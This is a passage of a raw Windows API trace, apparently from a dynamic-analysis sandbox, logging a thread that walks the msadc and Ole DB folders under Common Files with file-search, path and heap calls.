dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0124.038] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll", lpFilePart=0x9bada4*="msdaprsr.dll") returned 0x37 [0124.038] GetCurrentThreadId () returned 0x9b0 [0124.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0124.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0124.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0124.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.039] GetCurrentThreadId () returned 0x9b0 [0124.039] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll", lpFilePart=0x9bada4*="msdaprst.dll") returned 0x37 [0124.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.039] GetCurrentThreadId () returned 0x9b0 [0124.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0124.040] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll", lpFilePart=0x9bada4*="msdarem.dll") returned 0x36 [0124.040] GetCurrentThreadId () returned 0x9b0 [0124.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0124.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0124.040] GetCurrentThreadId () returned 0x9b0 [0124.040] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll", lpFilePart=0x9bada4*="msdaremr.dll") returned 0x37 [0124.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0124.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.041] GetCurrentThreadId () returned 0x9b0 [0124.041] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll", lpFilePart=0x9bada4*="msdfmap.dll") returned 0x36 [0124.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0124.041] GetCurrentThreadId () returned 0x9b0 [0124.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0124.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.041] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0124.041] GetCurrentThreadId () returned 0x9b0 [0124.042] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0124.042] GetCurrentThreadId () returned 0x9b0 [0124.042] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b99489e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0124.042] GetCurrentThreadId () returned 0x9b0 [0124.042] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb2c9ec00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0124.042] GetCurrentThreadId () returned 0x9b0 [0124.042] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0124.042] GetCurrentThreadId () returned 0x9b0 [0124.042] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0124.042] GetCurrentThreadId () returned 0x9b0 [0124.043] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0124.043] GetCurrentThreadId () returned 0x9b0 [0124.043] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0124.043] GetCurrentThreadId () returned 0x9b0 [0124.043] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0124.043] GetCurrentThreadId () returned 0x9b0 [0124.043] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0124.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db9e0 | out: hHeap=0x2ad0000) returned 1 [0124.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0124.044] GetCurrentThreadId () returned 0x9b0 [0124.044] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0124.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0124.045] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0124.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbcb0 | out: hHeap=0x2ad0000) returned 1 [0124.045] GetCurrentThreadId () returned 0x9b0 [0124.045] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0124.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0124.046] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0124.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0124.046] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881060, Size=0x20) returned 0x33eaff8 [0124.047] GetCurrentThreadId () returned 0x9b0 [0124.047] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui", lpFilePart=0x9bada4*="msadcer.dll.mui") returned 0x40 [0124.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0124.047] GetCurrentThreadId () returned 0x9b0 [0124.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.047] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui", lpFilePart=0x9bada4*="msadcor.dll.mui") returned 0x40 [0124.047] GetCurrentThreadId () returned 0x9b0 [0124.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0124.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0124.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.048] GetCurrentThreadId () returned 0x9b0 [0124.048] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui", lpFilePart=0x9bada4*="msaddsr.dll.mui") returned 0x40 [0124.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0124.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0124.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0124.048] GetCurrentThreadId () returned 0x9b0 [0124.048] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui", lpFilePart=0x9bada4*="msdaprsr.dll.mui") returned 0x41 [0124.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0124.049] GetCurrentThreadId () returned 0x9b0 [0124.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0124.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0124.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.049] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui", lpFilePart=0x9bada4*="msdaremr.dll.mui") returned 0x41 [0124.049] GetCurrentThreadId () returned 0x9b0 [0124.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0124.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eada0 | out: hHeap=0x2ad0000) returned 1 [0124.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0124.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0124.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0124.050] GetCurrentThreadId () returned 0x9b0 [0124.050] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0124.051] GetCurrentThreadId () returned 0x9b0 [0124.052] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0124.052] GetCurrentThreadId () returned 0x9b0 [0124.052] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0124.052] GetCurrentThreadId () returned 0x9b0 [0124.052] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0124.052] GetCurrentThreadId () returned 0x9b0 [0124.052] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5be00, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0124.052] GetCurrentThreadId () returned 0x9b0 [0124.052] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa800, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0124.052] GetCurrentThreadId () returned 0x9b0 [0124.053] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0124.053] GetCurrentThreadId () returned 0x9b0 [0124.053] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0124.053] GetCurrentThreadId () returned 0x9b0 [0124.053] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0124.053] GetCurrentThreadId () returned 0x9b0 [0124.053] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0124.053] GetCurrentThreadId () returned 0x9b0 [0124.053] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0124.053] GetCurrentThreadId () returned 0x9b0 [0124.053] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0124.054] GetCurrentThreadId () returned 0x9b0 [0124.054] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0124.054] GetCurrentThreadId () returned 0x9b0 [0124.054] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0124.054] GetCurrentThreadId () returned 0x9b0 [0124.054] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0124.054] GetCurrentThreadId () returned 0x9b0 [0124.054] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0124.055] GetCurrentThreadId () returned 0x9b0 [0124.055] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0124.055] GetCurrentThreadId () returned 0x9b0 [0124.055] 